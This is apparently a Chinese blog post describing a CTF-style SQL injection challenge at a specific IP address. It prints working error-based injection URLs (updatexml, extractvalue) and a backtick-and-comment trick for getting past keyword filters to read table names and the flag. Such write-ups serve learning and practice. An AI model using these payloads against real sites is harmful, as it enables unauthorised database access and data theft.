一道题目

Author Avatar
Aryb1n 7月 17, 2017

http://114.55.36.69:20680/
做了n久做不出,也不知道题目是哪里来的

咸鱼的我

过滤了*,union,column
所以爆出来表名就不知所措了

http://114.55.36.69:20680/index.php?table=news&id=1 or(updatexml(1,concat(0x7e,(SELECT distinct group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1))

=> '~error_flag,error_news~'

然后后感觉id这里过滤好严,试一试table那里

http://114.55.36.69:20680/index.php?table=news`%23&id=1

这样子应该是把他截断了,所以显示是正常的
然后很笨的我尝试在后边加东西发现….
啊,怎么没用

http://114.55.36.69:20680/index.php?table=news` where id =4 %23&id=1

我就是这么菜,就停在这里了

然后后来问了大佬

http://114.55.36.69:20680/index.php?table=news`%23`where id =4 %23&id=1 (%23是注释#)

知道这样子就可以了

大概是先desc了table,然后table存在的情况下才进行查询,而且才知道table这里过滤不严

按照大佬说的大概是

desc `error_${table}`;
-- table存在的话,再
select * from error_${table} where id = $id;

后来

问了下Bendawang师傅,果然。。。师傅做题就和切菜一样,几分钟丢回来一个答案

http://114.55.36.69:20680/index.php?table=flag`%23` where 0=extractvalue(1,(select flag_you_will_never_know from error_flag))%23`&id=1

他这个能够判断出有无table,只能是提前先执行了show COLUMNS 或是desc

然后学习了QAQ
这个

`#`....#

如果列名前缀有有一个`,那第一个`闭合了前面的`,然后第一个#就可以注释掉后面的
如果列名前缀没有`,那`#`就作为列名的别名,最后一个#起到注释作用

这里真的是学习了

后来的后来

查到了一篇wp,但还是不知道这题目从哪里来的

http://www.wupco.cn/?p=3764

然后果然就是Bendawang师傅说的那样…真是好强啊(我好菜啊…)

顺便收一下大佬blog

然后突然发现在同一个ip还有一道题目 https://moe.sh/article/19